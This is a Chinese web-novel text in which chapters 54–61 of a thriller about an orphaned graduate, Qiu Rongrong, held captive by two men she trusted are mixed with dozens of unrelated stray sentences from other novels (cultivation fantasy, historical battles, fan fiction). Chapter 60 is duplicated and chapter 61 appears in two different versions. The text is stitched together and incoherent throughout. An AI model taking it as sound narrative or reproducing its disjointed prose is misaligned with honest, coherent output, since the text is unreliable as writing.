随后,龙海有些疑惑的看了眼那座山下某个精灵村落中的一道黄衣身影。
天地间一片静寂,冥冥中但听“笃”的一声轻响,并没有想象中天崩地裂的威势,这第一圈黑色的光晕只是随意的、漫不经心的撞在了那威势绝伦的巨剑之上。
张入云见此,也是大松了一口气,值此又将脸转向毒龙师太道:“毒龙,你可考虑想好了?”说完也不再开口,只挨得一刻,便举步向其身旁的周氏兄弟走去。
只不过,没有人出手,就算是有想出手的人,也被身边的同伙拉住了。
老板犹豫了一下,从桌子下拿出下一本,那是到我网络更新最新章节了。
想到这里,他又万分后悔。叶明净身边竟有如此厉害的高手。那计‘侍’卫他平日也见过。一副闷声不响的蠢样。结果竟然是他看走了眼。
鸿钧看着他们平淡道“此次封神就要结束,尔等皆回到修炼产所之中,在封神没有结束之前,除掌管封神之人外其余人皆不可再次下凡,若有下凡者皆封印万年。”鸿钧说完再次向王晨一拜便再次消失在虚空之中。
叶明净得到这个消息后只微微的感叹了一声,随后又忙着和齐靖、薛凝之商量第二年的计划。
看见赵军如此不堪龙且肺都气炸了,急忙调后军防御城内的楚军上前去堵住赵军放弃的阵地,想要挽回溃势。这时阏于城内传来一片杀声,久攻未下的城门却忽然打开,皇甫圭已经组织好守军杀出城去接应援军。
炎魔兽沉声喝道,上半身来了一个大周天的旋转之后,冷眼看着五子连心金光魔,一道高深的笑意,在其狰狞的面孔上显现了出来。
方敬和董学成的意见统一,挑选了一个都察院的佥都御史。林珂看中的却是另一个佥都御史。廖其珍不偏不倚,提出由陛下圣断。
西瓯使者约莫四十上下的年纪,身子微微发福,脸色有些青白,进来时候步子虚浮,一看就知道被酒色掏空身子的酒囊饭袋之徒。
第一卷 第54章 尸骨
周景行发消息告诉秋榕榕,他今日将要晚归家。
秋榕榕也藏了一份惊喜,她已经考上临近市的研究生,她还年轻,想继续学业,不想那么快去工作。
每年,除了秋榕榕不过的生日,所有的节假日,周景行都会给予她仪式感。
李氏是一个睡觉特别警醒的人,几乎是周青青刚迈步进去,她就醒了。
这么大的响动,立马引起长臂白猿的注意,扭头,龇牙咧嘴,表情像条疯狗,一脸白毛大半被染成血红色,金色眼珠紧盯陈青灵。
这里的房屋与外面府城的众多建筑都不一样,似是用黄沙和岩石堆砌而成的没有房梁飞檐,可样子并不显得奇怪或者难看。
毕竟,普通人不会对舰队管理造成威胁,反而用到他们的地方有很多。比方当做苦力,炮灰,遇到危险放出去一些人当做诱饵,又或者当做预备口粮……因为不知道在黑暗大陆会遇到什么,所以普通人多多益善。
始皇帝立即想到了最为关键的一环,这么多狗一起带走,那可不是一件简单的事情。
一声闷哼,东方乐察觉自己的脖子被被划开了一道口子,潺潺的血液,一点一点的流了出来。
韩子征会意,将怀中的人缓缓放下,晏楚荣上前揽住顾七的肩膀。
云天大陆,苍国临边的黎城,虽不算繁华,倒也热闹得川流不息。
清竹学院可是整个大苍国最好的学院,里面都是经过千挑万选出来的,天赋极好的年轻灵师。
收到孛儿贴的口信后,耶律楚材一直都在寻找机会,劝成吉思汗早点搬师回蒙古,见成吉思汗又要进攻天气炎热的印度,开始心急如焚。
如朝中显赫的御史大夫张时荣,天狼军主帅姜鄙,钦州州牧唐晓等人,均是虞国实权派人物。这几人年少时均是正海云雷宗出色弟子,并且是由正海云雷宗举荐入朝。
“唉,可怜的孩子,你都被打成这样了,你还惦记着她?”诺斯怜悯道。
皇莽不知道苏长卿哪来的自信,整个身体都被阴寒之气侵蚀了,就算他是纯阳极寒之体也不可能在这么短暂的时间内净化自个儿,只能眼睁睁看着自己的躯体被腐蚀掉,感受着剧烈的疼痛。
当然,除了身处于的第一太阳系之外,其他几个太阳系的情况秦云没这个能力去管也管不了,怎么解决现在这边的问题就已经够他头疼。
似乎是调动自身双腿的肌肉,运转自身全力然后爆发在一点之上,打出最强一击。
“好!”伊洛说着便动手推着棺盖,但无论怎么用力,却也无法挪动了分毫。
水滴应该是圆润的,可眼前这玩意却是菱角分明一点都不圆润,不过造型大致还是那个造型,就是有些方正了。
看着苍穹那一抹白芒之中的比利姆,赫然出现一层金色光辉散发出来。
“确实,一个透着黑暗的死亡气息,一个透着光明生机之气。看来神族倒还有点意思。”比利姆笑道。
她虽然已经“飞升”,只差九尾俱全,可是等到她生产的那天,很有可能会伤及妖丹,重新降级。
安安白了她一眼,很是傲娇地哼了一声,面上的得意比之前木汐子的还要浓郁不少。
金圣哲站起来,大脑的各部分零件全都高速运转起来,甚至迸发出火星,发出“咔嚓咔嚓”的声音。
第一卷 第55章 烧伤
自从谭松坐牢后,秋榕榕和沈砚川就走得很近。
他们会定期去监狱里探望谭松。
沈砚川也住进这片别墅区,他们算是邻居。
周景行和沈砚川认识。
秋榕榕问过周景行,他说他们有生意上的往来。
“我想去趟警署,但现在手机没信号……”
“我送你。”
斯内普没想到自己朋友来了这么一出,躲过两个咒语后被司薰的咒语击中了,看着对准自己大腿的魔杖,晕倒前斯内普脸上浮起了不可置信的表情。
其实岑也刚才也想到陈则南了,但她不想温贤宁多想,所以准备先跟温贤宁说一声。
众人进去一看,就见那其中一亩地里的人参果已然长了出来,粉嫩的果子挂满了枝头。
叶枭一行人听到这里都沉默了,望着眼前的狮猁怪怎么也恨不起来了。
还没等盛暖阳反应过来,直接被店老板拉进试衣间,换着刚才选的裙子。
却说,此刻的洛云真正于那湖面之上驻马,他回头看着飞奔而来的周陂镇,嘴角上总算是缓缓浮现起了一抹邪魅的笑容。
西装革履,皮鞋锃亮,头发打理得一丝不苟,浑身上下透着贵气。
突然,他的眼神再度尖锐了起来,只说他身上气势爆燃增长,竟然是顷刻间攀升到了化龙境的顶点,距离金甲也是只差一线之遥。
随后他将手帕递回去,岑也来接的时候他又换了只手牵她,手帕塞自己兜里了。
即便步行十分艰难,但怀良丝毫没有停下,至少说,每多走一步,就离圣都近了一步,更何况,离圣都已经不远了。
“不错,袁武长老,晚辈正是陈松月。”黑袍人拉下大大的兜帽,把整张脸都露了出来。
莫燃一路仔细搜寻,别的宝物找到不少,却唯独没有看到半分太虚册的影子,眼看日头渐渐西沉,心里不禁急躁了几分。
众人也不是傻子,阿赞法师脸上不自然,脑子再慢的人也看出不对劲了。
殷河淡漠的说完,眼角的余光便注意到龙诀嘴角那抹似有似无的笑容,像是得意。
殷怜给演员试了好几个形象,让他尝试了各种表情动作,最后才定下了中意的壳子。
不过,有时候,也许是职业病的原因,司空正晴对左双倒是监视或者说是密切注意过一段时间。
武悠然自然也能感觉得到武烈的变化,心下一沉,悲伤更加浓郁的堵在心里。
这时,只见冥狼化出了本体,缠绕在身上的闪电格外威风,它踱步到莫燃跟前,似是让莫燃到它背上,是它把莫燃带进来的,自然也要将她带出去。
不过现在也不是琢磨这事的时候,既然大块头已经出动,还是赶紧跟着他,看他往哪里走,说不准还能找到他的老窝呢。
“从今天起把药给停了,洗脸的水也不用再放白醋,以后每隔五天给我准备芦荟就好。”沈言舒对青鸢说道。
“你疯了吧!”姜自在惊呆了,无生符出,必须要杀人,他竟然要杀自己?
雪儿心中隐隐有些不好的预感,总觉得单正一家似乎出了什么大事,不然也不会将偌大的天意山庄都丢下不管,甚至连个看门的仆人都不留。
话音未落,又是“砰砰砰~”数声响起,手中血寒不断挥舞,剑锋所指之处,仿佛连空间都要撕裂。
第一卷 第56章 克制
她毕业了。
成功考上隔壁市的研究生。
谈了四年的男朋友不嫌弃她孤儿的身份,要向她求婚。
幸福好像真的唾手可得。
在家里,她被周景行保护着,在学校,有沈砚川照顾她。
“狗日的!爽不爽!爽你就说个话!”万飞寻抡起巴掌使劲抽,嘴里还一边嘲讽。
然而通灵境的普通弟子并不少,花费了整整一天功法,方查验完毕,华发老者摇了摇头,感觉不是太满意。
生活总是要向前看的,过去的美好值得回忆值得珍藏,不过叶碧煌相信,未來会更美好。
“罢了,忘了他吧,我们的距离,终将越来越远。”周美琪双眸朦胧,望着夜空,愈来愈远。
做奸细这一行,被人捉出来就是必死无疑,因而自古以来捉奸细都是件费力气的活。一连两天,审讯工作都没有什么进展,反倒是各地的新情报送到了。
哈姆纳塔,虽然已经衰败,却依旧巍峨的城门口,曹子诺深吸口气,脑海内一切都都被抛诸脑外。
然而当他跑出两步后,双腿忽地一软,刚要扑到在地,身子突然融化,转眼间变成一滩黑水,落在地面。
虚弱的夏风躺进浴盆,打开了热水,他的脸色有些苍白,花洒中的热水给他带来了一丝温暖,让他不至于那么的疼痛,不过这样反而会让他的身体失去危机感,流血过多的话会无意识的死亡。
不过看看对方明显对此不甚为意的样子,李胜林发现他还真高估了他大伯,额,应该说是政客的道德标准了呢,这样的话,这些资料岂不是白拿出来了?
“路是他自己选的,我不会干涉什么!”王哥的声音中没有一丝的情感。
紫烟霞也是大惊失色,海眼是大海的命脉,海眼的另一边直通不可揣测的异界,如果任由海眼开着,大海里的活物都会被海眼吸走。
她的话还没说完,就一下子变了调,封容顺着她诧异的目光看过去,看到卢长流站在祝孟天旁边,不再是那种痴迷或者飘忽的表情,而是一脸愕然地看着英瑟,像是看到了什么完全超出他接受能力的东西。
“什么!?”听到那黑衣男人这样说,鲁荆吓了一跳。不可能呀,他是什么时候控制了明羽逸的。鲁荆在心里想到。这时明羽逸抬起了头,只见他的眸子也变成了和那男人一样的深红色,这看起来十分的瘆人。
“没想到你回来救郦香。”明羽逸看着鲁荆说道。鲁荆嘴角勾起笑容,回道:“哈,是你自己说道攻击就是要出其不备。”他虽然这么说,但是他心里真实的想法是什么谁知道呢。鲁荆说完连忙闪身拉开了他与他两的距离。
“难道只能告诉你的老婆吗?老师你就不打算告诉?”曹梦宇故意装作生气的样子问道。
她之前不过是想逗逗他,并没有真的想要听他的回答或许怎样。而现在,看到他这副模样,倒真要听听他的想法。他所谓的报答,究竟是怎样一回事儿。
“‘三十六发焰龙’。”突然传来一声巨吼,一个浑身是伤的猩猩妖从森林里重重的砸到了死亡高塔外的空地上,随后鲁荆的身影出现在了那里,紧跟其后的是郦香和明羽逸。
第一卷 第57章 照片
秋榕榕走到电脑前,这台电脑陪伴了周淮远很多年,他一直用它打游戏,因为有些老旧,系统也不是最新版本,电脑有些卡顿。
她打开电脑,冷白的光落在她的脸上。
桌面上都是一些游戏。
其实他的电脑,她早就看过。
他生活不能自理,但有游戏天赋。
不一会儿,苏心钰就拎着一个药箱出来了,蹲在隋烈面前打开药箱。
他做世子的时候绝对不会想到,竟然有一天他还会因为人口增长烦恼,毕竟他很长时间范畴的事情,就是上哪去抢人。可事情就是如此的打脸,现在这个烦恼固然还没有马上到,可也正在一步一步的过来。
随着吴天尊这么一句微带怒意的音落,那些提议者纷纷闭嘴,再也没谁敢多说什么。
他们之所以表现出这般无奈的表情,无非是在给尤天香制造无形的压力。
“他是我的走狗,而且,你们人族都要归我们三大异族所统御!”圣皇开口,替冷寂做出了回答。
龙浩放目环视,只见一只体型庞大,灰羽似钢的苍鹰,双目散发着凶戾的寒芒,紧盯对面的一人。
一声低吼,他体内那八十一道紫色剑气喷涌而出,一股股恐怖的杀机,笼罩了这片地带。
音落,独孤剑身形轻动,其身消失,下一刻便是出现在夜叉帝皇法身近前。
城门失火殃及池鱼,城中百姓一旦混乱后果不堪设想,一定会影响到守城士卒的军心,敏锐发现了燕贼投石机射程远的吕朗,刚见到有民居失火,立刻下令士卒去弹压。但邺城城楼的烈火烧起,他就没办法救了。
伴随着一声嘹亮的脆响传出,那人的面容骤然变形,整个身躯也是应响声而飞出。
外人眼里武胜军不过只有两万余人,但实际上张宝隐藏着超过一半的兵力。而这个布置,导致任何轻视武胜军的人都将付出惨痛的代价。
就这般,五人陆陆续续的上场表演,观众越发躁动,也越来越燃。
大批缴获人员的得而复失,已经宣告了完颜宗望此次主持的南下灭宋行动失败了大半。宋国朝廷的确被干掉了一次,但就凭张邦昌那个金国留下维持治安的伪政权,面对强势的安东军恐怕也坚持不了多久。
这个的起因倒不是因为那些为他做媒的,而是有一天媒婆找上门,说是要替我做媒。
卢冰冰找到老板娘,点了两份的三鲜米粉,就坐在陈磊深对面喝着饮料看着陈磊深。
叶泽崎也明白自己所说的简直就是个天大的福利。不过,为了自己的妹妹,这点他还拿的起。
而之后杨志的仕途又不顺利,先是负责押送的花石纲在江上翻船,后为求一官半职就连代表杨家的天波府都转手卖人换钱用来贿赂上官。而让杨家更为不满的,就是天波府转手卖人不久,张宝就让人买下送给了杨再兴。
中年奸商如痴如醉捧着被我施了变幻术的茶碗,翻来覆去看了好久不肯撒手。
“唔!”荣灿点了点头,他们休息的时间并不是很长,没有足够的时间让去医务室,只能等全部比赛完成之后再过去看看。
二人就这般你一句我一句的发着讯息,不知聊了多久,二人都有些困倦,遂双双入眠。
枪声破空响起,湖面上的水花被染成一大片殷红,偌大的水妖在强悍,到底也是怕子弹的,没有挣扎几下便定格了它最后的动作,静静的漂浮在水面上,终极了它的神秘生命旅程。
第一卷 第58章 剖白
四年。
就算是说一个谎言,四年也能把谎话说成真话吧。
四年的时间真的很长,从十八到二十八,青春只有十年,这四年就快拿走她一半的青春。
秋榕榕不敢看周景行的眼睛。
创造生命,创造永恒,这大概是每一个机关术士都想追求的至高目标。
叶峰这一绕行,营地里面立刻传出了许多叹息的声音,叶峰敏锐的神识当然能感觉到这些叹息声,不过叶峰现在也是满脑子疑问。看来这些妖族肯定都是敌人了,可是它们为什么不敢冲出来拦截他们四人,叶峰也是想不明白。
如此险境,贾布、上官云两人肝胆欲裂,亦是再也顾不得其它,连忙向峰下逃去,竟是完全抛弃了在火海中挣扎的魔教弟子。
凌云先上的地面,回头想要拉一把老婆婆,却看见她跪倒在洞口,泪流满面,哭声不绝。
他们曾经从来没讨论过感情的事,今天是头一次,但林孝珏听了一点也不意外。
林寒见得他那般样子,也不想再落井下石,由得他下上去。只是脑中突然转过一个念头,细想之下是有益无害,当下出声叫住田伯光。
那些壮汉并没有动作,附近赶来许多码头工人,搬运的搬运,赶车的赶车,各有分工,井井有条。
她这一剑来得极为突然,奈何与丁勉的差距太大,丁勉甚至不需要拔剑,仅凭着一双肉掌,三两下就将岳灵珊制住,不要忘了,他的外号叫做‘托塔手’,手上的功夫可着实不浅。
稍作休息恢复体力后,几人便再次出发,好在这个元灵空间并沒有白天和黑夜之分,一直都是雾蒙蒙的,可视的范围都差不多是百米距离,所以除非是体力不支,其他情况下几人并不需要休息。
明明是魂体,然而胸腔强烈的跳动声几乎要占据她所有的注意力。
还公主房,你想多了”,露雪一脸嫌弃的看着雨轩,你知道圣知学院每个寝室风格是不同,有公主房,有田园风,也有贵族风等等。。。。。
老头想了想,干脆按照一比十的比例生产这两种包装的饮品,到时候看市场反应在做相应的调整。
想到这一点,张志平顿时大喜,立即举一反三的想到了更多,道本无形,但是人的记忆却承载在神魂之中,两两结合之下,这就好像灵物孕育之初,懵懂的意识、造化天成的道痕和大量的灵气。
当初在修建超市的时候,关云山开了两个口子,本来两个口子里都是进去出来的通道,但是此时看到人这么多,关云山为了防止出现意外,干脆将两道门改为一个进,一个出,这样搞了一下,能稍稍缓解一下人流拥堵的问题。
本来迫水队长还想再跟林冲讨论关于如何处理滋尔达气体的事的,可现在遇到了这种情况,迫水队长只能提早结束tpc地球基地之旅返回凤凰巢考虑对策。
“陛下召见?”杨义听到虞世南的话,不由疑惑的看向孙思邈。意思是怎么光召见我,没召见你?
防御就不用说了,两片贝壳紧紧关闭,无处着力,除非用炸药炸,或者用特殊的设备来破才能打破蚌精的防御。
第一卷 第59章 软禁
秋榕榕觉得,他肯定是生气了。
他口中的贺礼,直觉告诉她,最好别问……这种状态下,问了可能要倒大霉。
这四年来,周景行的脾气一直很好。
她竟然可以把他惹生气。
还挺有本事的。
秋榕榕当然知道,现在问题的关键点不在于他们之间的感情。
李非道笑了笑,引领众人朝前走,暗中有不明生灵窥视,就让对方看个够。此时若是畏怕退缩,就算摘到神枣,祖神也不会降福赐给仙缘。仙界万物丰足,却也是只有勇者方能享用,弱者都在未流。
财迷的子衿很是心动,但他转念一想,觉得在不知道野怪的属性下就干它,这是做死行为,再加上周围的树妖们,于是就忍住了。
天上剑仙那一缕雪白剑意入体后,更是在方尘气海当中引起异变。
巴神,七喜,鬼爵,鬼生,棒子,五人修为较高,奔在前头,也成了众人的领队。又跑了二十多里,上仙追到,还是一副云淡风轻微笑。巴神知道是安全了,叫众人停下休息。
蛟龙忍不住打一个激灵,脑子里想,这个凡人太强悍,幸好当初我没有粗鲁对他动手。
可丁淼一脸的不情愿,他似乎不是很乐意的样子,不仅紧闭着嘴巴,还竭尽全力把头扭到了一边。穆安安没法儿用脚强喂给他,如果他不主动张嘴的话,等到那个少年察觉到这边,他俩就真的完了。
这个念头一出现,安妮的脸色就越发的难看。只不过是办个宴会而已,就已经不相信她了,如果换成别的事情呢,不是更不相信她?
温暖从陆家回来之后,就一直沉默着,看得陆景川心里发慌,又不知道该从何解释。
“我的建议是,我们最少还要再等上一周,一周之后要是还没有消息传来,到时候再洗地,我保证没有任何意见!”陈惊目光望向了x国负责人,语气也突然变的沉重起来。
“不躲了!”李非道向前方混战处飞奔,踏空跳起,在半空认出那边的牛头大神,正在对战三名敌手。
掐断了电话的裴墨衍,眯眼看着落地窗前的霓虹灯,眯起双眼,缓缓吐出口中的烟雾。
实际上周一凡当得知自己有可能具有成为炼丹师的资格的那一刻起,便已经打定了心思听从慕初月的所有嘱咐。
好在,陈龙那个好管闲事的,在筱筱先前离开后就给他家首长打了电话,贺御君一听筱筱来了师部,赶紧又回来了。
突然把掩藏那么久的事情爆出来,还是他自己捅咕的,这货脑袋瓦特了?
实际上她所使用的每一幅丹方中,都会参杂有自己的理解在里面,也就是说,同样的丹方一到了慕初月的手中,就势必会有与旁人不一样的地方。
这一次石皇却是反应过来了,猛然松开了土黄色棍子,躲过了金色碎片,然后便再次握住了棍子。
龙家也好久没有这么热闹过,离上一次玄月晚宴其实不到一个月。
众人立刻跟着源深前去种植玉米的地方,阳光照耀着这一片玉米地,碧绿色的大叶子,映衬着金黄的玉米。
病房里,穆锦凌走后,贺御君转身走到一边的桌台,给自己倒了杯水。
更别提今天主子可是为了救他才跳下湖的,这一句连一句主子有事没事的话都没问。
第一卷 第60章 摊牌
沈砚川银边眼镜下,看秋榕榕的目光有些复杂。
他问:“恭喜毕业,你还有什么心愿?”
秋榕榕心里咯噔一下。
这话听着有些别扭。
有些不吉利。
秋榕榕故作轻松的说道:“我现在最大的心愿就是现在出去玩儿,你帮我实现一下呗。”
“不可以。”沈砚川补充道:“等周景行回来,我便走了。”
这事是谁干的,简直再明显不过了,不是身边的人,又怎么会了解她的喜好?
只是三两下手势就已经把衣服做好了,穿在身上,惊奇的发现这些叶子好柔软,穿在身上好舒服,而且时不时透出的冰凉也有一种让人舒心的感觉。
旁人,就连梁曼这个当妈咪的都不是很明白这一点,但是这是唐宇的人生,就算他们不明白,也还是那句话,这是他自己选的路,他们不能替他走,也不能替他选择。
宫夜擎突然想起了那句话,欲加之罪何患无辞,不过对方是自己老丈人的情况下,好像除了忍耐也没有什么别的方法了。
听闻这话,徐雪的身子明显的颤了一下,眼里多了几分亮色,事实上她跟蒲陶的想法不约而同。
风千良早不知道刘监军是个什么样的人,倒也没有抱希望。之所以这么说,只不过是想膈应膈应对方而已。
喝了很多的酒,就坐在床边,但是为什么今早起来后,人却在床上,而且房间里也看不到有一个空酒瓶呢?
然而,这真的不是开玩笑的,手脚麻溜的搞定了门面,蒲陶说干就干,第二天就把婚介所的名字给挂上了,今生缘。
乌雅不单是吃惊,简直就是惊吓!可是再如何出乎意料,对于现在的情形来说都不是最重要的,当务之急便是要让夕言好起来,第一步是要把人叫醒。
然而黑博德与白德青所居住之地,二人脸色异常沉重的望着空中的那个‘现’字,因为整个鸿蒙界都不知道这个现字的含义,但是他们知道。
“洛洛,别泼太多了,光泼脸就好了!别浪费了!”惠儿语重心长的说道,太后赞许的看了看皇后满意的点了点头。
杜夫人瞧了瞧丈夫的神‘色’,见其恬然静谧,眉宇淡漠,也就丢开那灯不再多话。
如今见陆飞依然独自一人走了出来,米颚的心中虽然疑惑,但它也并没有多问。
本来心喜不已的紫月儿顿时被水柔的话犹如一盆凉水从头泼下,心里洼凉洼凉的,虽然她这样问,但在她的心里基本上已经认同了水柔的看法,看来想要找到陆飞大哥并不是那么容易的了。
“怎么了皇嫂?谁欺负你了?是不是我那皇帝哥哥?我去帮你教训他!”说完做去一副往外冲的样子。
被再次轰飞的陆飞,此刻体内的混沌之气微微一阵颤抖,护体仙元险些消散于无形。
严绾听得有些入神,撑着下巴的手指,无意识地翘着,像一朵优美的兰花。
送走了林,他们在长亭星上最重要的任务就算是完成了。接下来只要再看看有没有什么可补充的东西,然后上路就好。
毫无疑问,君严能顺利破开紫黑色巨爪,是因为体内有着大量阵法传输过来的灵力,陌牙子已经看出了这一点,才会如此说。
感受着丹府中法力的增长,陈浩却看着姜利辉身上浮现白光,缓缓飞起。
第一卷 第61章 硝酸
巨大的轰鸣声响彻夜空,血红的光亮照亮了大地,吓的很多异兽都缩了缩脑袋。
“你都接受我18岁的身体,还不能接受我有点超能力吗,哈哈!”齐天有点炫耀的意思在里面。
李维光着膀子,露出强壮的肌肉,板甲的最后部位胸甲,也在他的千锤百炼锻打之下,逐渐成型。
她绝大部分药品和器材都放在封家别墅里,而且那里有专门的实验室和手术台,可以应对一些突发的紧急状况。
桑林法相真身六条胳膊可不是开玩笑的,没有动用银角攻击,就大锤子一锤砸过去谁都不敢硬接,原来防御用的大钟也拿来砸人,三个半仙器定魂锥不时打出。
白裕点点头,与兄长白伯对视一眼,看着兄长眼中顿时充满喜悦的模样,随后转头,看向父亲白仲。
可袭苏珑毕竟是他师父,他如何能欺师灭祖,因而处处忍让,袭苏珑却无所顾忌,狠狠重震他一掌,两人纠缠许久,不知道打到了何处,直至听见了旁边有孩子哭声。
神龙虽然是白色,却散发着七彩斑斓的光泽,若是定睛看去,仿佛可以看到万般变化,山川日月。
傅业清楚,端王不可能无缘无故许傅灵韵后位,这其中必有什么要求。
现在封霆北名下所有的股份都落到韩绍宗的手里,封家已经失去了利封集团的掌控权。
剧烈爆炸,使得酒店周围还在冒着丝丝青烟的地方再次坍塌、纷飞,悍马车碰撞的墙壁,几乎是被炸出了一个大窟窿,波及了至少五层以内的所有生命和设施。
所有的城市,橙子公司都送来了概念图,王风只需要让红后按照图纸构建出来就好了。同样服装的设计、技能的效果……一系列的东西,橙子公司都准备好概念图了。
后方,众位大能纷纷皱眉,露出了厌恶的表情,对于悲喜老仙他们自然是了解的,这位,可是豢养了三万妃子的色中饿鬼,而且,三万妃子,各个都是神通秘境的强者。
因为平时在镇守府时,也能感知到这熟悉的联络……直到离开提督精神网范围后,才没有了感觉。
“他们讲究当然是为了社交,保持自己的形象,但有一个国家的人好像都有这习惯。”李雪忽然皱起了眉头。
一样不敢去触碰……一样不愿去提起……更一样地让人不知为何地,给人一旦触碰,就会一切所见的美好全会崩毁的感觉。
“轰隆”,“轰隆”,炸弹在敌人的马队中爆炸,再一次把敌人的马队炸散,让他们能够冲击的,仅仅只有最前面冲过来的几十骑而已。
“行了,克拉克你去准备吧,我们今天下午一起出发!”向左挥挥手打发了克拉克。
“噗!”哈登牛逼哄哄的刚说完,随着一声沉闷的枪声,哈登眉心中弹,瞪着不甘心的大眼睛倒了下去。
肌肤上感觉到处都是被封闭的……血块凝结的地方太多了吧,虽然自己的皮肉应该完全没有受损,可是因为舰娘体质恢复的身体,也不会清理掉身上的脏污。
否则这件事情一旦传出去的话,陈伟是真没脸出门混了,更别提什么娱乐圈。
方才对视时,她的眼神令姜祸水心头有种说不出的怪异,从前也不是没见过夏蝉,但这种感觉是第一次有。
狼啸逃走后,完全潜伏起来了,灵仙宗的门人也消失匿迹,然而王屠和孟杰被关进了国家特别为那些特殊种类之人设立的牢房之中。
辰晓笛仰头看着白叶,他的侧脸本就很好看,在彩灯的映衬中不但没有尘世的浮华之气,反而多了几分宁静和温柔。
曾雨此刻心里更是奇怪了,先前这陆判还是一副盛气凌人的样子,怎么这一会就变了样。
夏濯如今失去了周杨,原太子被废,东宫之位悬空,十几个皇子如狼似虎,都盯着这块肥肉,但圣上健在,谁都不敢轻举妄动。
血雾在她右肩上喷射,半边肩肉都被直接刮起,闪电标枪嗡的一声擦过,狠狠的插入她身后的地面半尺有余,枪体是纯粹的能量构成,此时正在逐渐消失,但却仍旧还在发出嗡嗡的震颤之声,渐渐归于虚无。
两个这才知道,人族竟是有个三境中期的神箭手,如今被偷袭受了内伤,实力有损,就算人族不出动其他三境高手,只这个神箭手他们就无把握应对了,随即下令撤退,他们两个更是全速向回跑。
周云平的手刚刚接触到门把手,光线就将周云平笼罩,瞬时周云平也凭空消失了。
第一卷 第60章 摊牌
沈砚川银边眼镜下,看秋榕榕的目光有些复杂。
他问:“恭喜毕业,你还有什么心愿?”
秋榕榕心里咯噔一下。
这话听着有些别扭。
有些不吉利。
秋榕榕故作轻松的说道:“我现在最大的心愿就是现在出去玩儿,你帮我实现一下呗。”
“不可以。”沈砚川补充道:“等周景行回来,我便走了。”
这事是谁干的,简直再明显不过了,不是身边的人,又怎么会了解她的喜好?
只是三两下手势就已经把衣服做好了,穿在身上,惊奇的发现这些叶子好柔软,穿在身上好舒服,而且时不时透出的冰凉也有一种让人舒心的感觉。
旁人,就连梁曼这个当妈咪的都不是很明白这一点,但是这是唐宇的人生,就算他们不明白,也还是那句话,这是他自己选的路,他们不能替他走,也不能替他选择。
宫夜擎突然想起了那句话,欲加之罪何患无辞,不过对方是自己老丈人的情况下,好像除了忍耐也没有什么别的方法了。
听闻这话,徐雪的身子明显的颤了一下,眼里多了几分亮色,事实上她跟蒲陶的想法不约而同。
风千良早不知道刘监军是个什么样的人,倒也没有抱希望。之所以这么说,只不过是想膈应膈应对方而已。
喝了很多的酒,就坐在床边,但是为什么今早起来后,人却在床上,而且房间里也看不到有一个空酒瓶呢?
然而,这真的不是开玩笑的,手脚麻溜的搞定了门面,蒲陶说干就干,第二天就把婚介所的名字给挂上了,今生缘。
乌雅不单是吃惊,简直就是惊吓!可是再如何出乎意料,对于现在的情形来说都不是最重要的,当务之急便是要让夕言好起来,第一步是要把人叫醒。
然而黑博德与白德青所居住之地,二人脸色异常沉重的望着空中的那个‘现’字,因为整个鸿蒙界都不知道这个现字的含义,但是他们知道。
“洛洛,别泼太多了,光泼脸就好了!别浪费了!”惠儿语重心长的说道,太后赞许的看了看皇后满意的点了点头。
杜夫人瞧了瞧丈夫的神‘色’,见其恬然静谧,眉宇淡漠,也就丢开那灯不再多话。
如今见陆飞依然独自一人走了出来,米颚的心中虽然疑惑,但它也并没有多问。
本来心喜不已的紫月儿顿时被水柔的话犹如一盆凉水从头泼下,心里洼凉洼凉的,虽然她这样问,但在她的心里基本上已经认同了水柔的看法,看来想要找到陆飞大哥并不是那么容易的了。
“怎么了皇嫂?谁欺负你了?是不是我那皇帝哥哥?我去帮你教训他!”说完做去一副往外冲的样子。
被再次轰飞的陆飞,此刻体内的混沌之气微微一阵颤抖,护体仙元险些消散于无形。
严绾听得有些入神,撑着下巴的手指,无意识地翘着,像一朵优美的兰花。
送走了林,他们在长亭星上最重要的任务就算是完成了。接下来只要再看看有没有什么可补充的东西,然后上路就好。
毫无疑问,君严能顺利破开紫黑色巨爪,是因为体内有着大量阵法传输过来的灵力,陌牙子已经看出了这一点,才会如此说。
感受着丹府中法力的增长,陈浩却看着姜利辉身上浮现白光,缓缓飞起。
第61章 硝酸
秋榕榕开始回顾自己这些年到底做错了什么,才会遇到这样的事情。
他们图她什么呢?
她是个孤女,一无所有。
就剩下这条命,和她满是伤痕的身体。
她有什么,值得周景行和沈砚川一起,哄她这四年!
这个世界上总有人要遭遇不幸。
可为什么,每次都是她?
“你考上研究生的事情,和周景行说了吗?”沈砚川发现秋榕榕的心情只是比一开始低落些,她双手抱着自己的膝盖,如一扇关起来的门。
他以为她会尖叫,会质问,会歇斯底里地找他麻烦。
但她什么都没有。
她安静地蜷缩在沙发上,用一张薄毯把自己包裹住,她太瘦弱,四年的调养,好不容易养出来的一点精气神,在这一刻迅速消散。
就连听到他和她说话,也只是有些麻木地抬起头,像所有听话的人质一样,乖乖回答问题。
“我没有说。”
这件事情,秋榕榕原本想作为惊喜告诉周景行的,她报考研究生的时候,专门选了离本市比较近的学校,坐高铁只要半个小时就能回来。
平时她就好好读书,到了周六日回来和周景行过二人世界。
她现在是二十二岁,她想着三年研究生读完之后,如果周景行愿意,他们可以结婚。
她会回到本地工作,帮他一起照顾周叔叔和周淮远。
这样,一个温馨的小家就可以建起来了。
秋榕榕追求的,真的很平凡。
她只想好好读书,毕业后有份体面的工作,然后和心爱的人成家,再共同孕育一个孩子,让孩子在有爱的环境下健康成长。
她没有太多豪心壮志,一生所求不过平顺二字。
她已经承受不起太多的风雨。
“想去读书吗?”
秋榕榕沉默,她知道沈砚川在故意撩拨她。
现在,他们已经露出真面目,枪都掏了出来,堂而皇之地把她困在这座别墅里。
又怎么可能真的去让她读研?
想逗她罢了。
沈砚川的语气有些怀念,“你考研,英语还是我帮你补习的,我看过你的成绩了,你这次考得不错,算是超常发挥。
就是时间点不太巧,徐家如果没那么快倒台,你说不定还真能读两年研究生。”
沈砚川是穷凶极恶之徒,也是一位学霸。
不是所有的坏人都把坏字写在脸上。
沈砚川是私生子。
他的母亲被父亲关在地下室里很多年,他是父亲强迫母亲后,所生下的怪胎,也是父亲威胁母亲就范的工具人。
他小的时候一直很努力,为的就是长大后有权有势,把母亲从地下室里救出来。
可惜他还没长大,大火便烧死了他仇恨的父亲,与他爱怜的母亲。
一把火,烧得可真干净!
父亲的妻子死了,他的其他孩子也死了。
就剩下沈砚川一个人。
他在火焰的废墟中,等来了在国外本已经退休了沈爷爷。
沈爷爷拼尽全力培养他,把他捧上继承人的位置。
